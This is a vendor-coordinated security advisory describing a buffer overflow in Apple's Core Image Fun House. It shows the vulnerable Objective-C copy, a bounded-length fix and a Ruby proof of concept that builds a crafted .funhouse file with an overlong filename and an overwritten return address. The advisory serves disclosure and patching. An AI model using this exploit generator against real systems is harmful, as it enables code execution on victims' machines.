*************************** NETRAGARD ADVISORY ************************ http://www.netragard.com "We make IT Safe" [Advisory Summary] ----------------------------------------------------------------------- Advisory Author : Adriel T. Desautels Researcher : Kevin Finisterre Advisory ID : NETRAGARD-20070628 Product Name : Core Image Fun House Product Version : <= 2.0 OS X Vendor Name : http://www.apple.com Type of Vulnerability : Buffer Overflow Effort (1-10 where 1 == easy) : 5 Impact : Arbitrary Code Execution Vendor Notified : Yes Patch Released : N/A Discovery Date : 07/10/2007 [POSTING NOTICE] ----------------------------------------------------------------------- If you intend to post this advisory on your web-site you must provide a clickable link back to http://www.netragard.com as the contents of this advisory may be updated without notice. [Product Description] ----------------------------------------------------------------------- "From creating new solutions for print, photography, scientific visualization, and film post-production to enhancing your application's user interface with innovative and effortless visual effects, Core Image performs the heavy lifting that enables the next generation of imaging applications." -- http://developer.apple.com/macosx/coreimage.html -- [Technical Summary] ----------------------------------------------------------------------- It is possible to trigger an exploitable buffer overflow condition by creating a specially crafted .funhouse file. [Technical Details] ----------------------------------------------------------------------- The Funhouse application does not properly parse XML data. Specifically it is possible to create a specially crafted .funhouse file that will trigger and exploit a buffer overflow condition. The code responsible for the condition is as follows: // render origin handles using AppKit directly - (CIImage *)drawPoints:(CIImage *)im { ... NSString *str, *str2, *localizedParameter; ... else if ([type isEqualToString:@"image"]) { // image effect stack element // show an image origin (in its center) CGRect r = [[es imageAtIndex:i] extent]; NSPoint offset = [es offsetAtIndex:i]; pt.x = offset.x + (r.origin.x + r.size.width * 0.5); pt.y = offset.y + (r.origin.y + r.size.height * 0.5); str = [[es filenameAtIndex:i] stringByAppendingString:@" center"]; [self drawPoint:pt label:str intoContext:cg]; } } The following code is called by the code referenced above: /* Drawing */ // draw an onscreen handle for an image origin, text origin, or filter point // the handle is a "center symbol" - a circle with crosshairs through it. // the handle is labelled with the string "str". // all items are "shadowed" - (void)drawPoint:(NSPoint)pt label:(NSString *)str intoContext:(CGContextRef)cg { ... char cstr[256]; ... if (!movingNow) { [str getCString:cstr]; <-- Vulnerability Exists Here [Fix] ----------------------------------------------------------------------- To fix the issue the [str getCString:cstr]; needs to be replaced with [str getCString:cstr maxLength:254]; to prevent overflows. - [str getCString:cstr]; + [str getCString:cstr maxLength:254]; [Proof Of Concept] ----------------------------------------------------------------------- #!/usr/bin/ruby # Copyright (c) Kevin Finisterre # # /Developer/Applications/Graphics Tools/Core Image Fun House.app # /Contents/MacOS/Core Image Fun House # # (gdb) x/10s 0xbfffddf7 # 0xbfffddf7: 'Z' , "DCBA center" # # 2007-07-10 21:15:34.573 Core Image Fun House[1061] CFLog (0): # CFPropertyListCreateFromXMLData(): plist parse failed; # the data is notproper UTF-8. The file name for this data # could be: $ # /Users/kfinisterre/Desktop/SuperTastey.funhouse/file.xml # The parser will retry as in 10.2, but the problem should be # corrected in the plist. # # \x80-\xFF range that do not form proper utf8 len = 300 fname = "SuperTastey" retaddr = 0x0d0d0d0d # There are lots of filtered chars! if File.exist?(fname + ".funhouse/file.xml") File.unlink(fname + ".funhouse/file.xml") Dir.rmdir(fname + ".funhouse") end Dir.mkdir(fname + ".funhouse") FUNSHIT = "" + "" + "" + "" + "layers" + "" + "" + "file" + "" + "Z" * len + [retaddr].pack("V") + "" + "offsetX" + "0.0" + "offsetY" + "0.0" + "type" + "image" + "" + "" + "classname" + "CIGlassDistortion" + "type" + "filter" + "values" + "" + "inputCenter_CIVectorValue" + "[150 150]" + "inputScale" + "200" + "inputTexture" + "" + "Z" * 50000 + "" + "" + "" + "" + "" + "" + "\n" target_file = File.open("SuperTastey.funhouse/file.xml", "w+") { |f| f.print(FUNSHIT) # weeeeee... lets have fun. f.close } [Vendor Status] ----------------------------------------------------------------------- Vendor Notified [Vendor Comments] ----------------------------------------------------------------------- This issue is addressed in Xcode tools 3.1. Credit to Kevin Finisterre of Netragard for reporting this issue to Apple. Further information is available at: http://support.apple.com/kb/HT1222 [Disclaimer] ----------------------http://www.netragard.com------------------------- Netragard, L.L.C. assumes no liability for the use of the information provided in this advisory. This advisory was released in an effort to help the I.T. community protect themselves against a potentially dangerous security hole. This advisory is not an attempt to solicit business.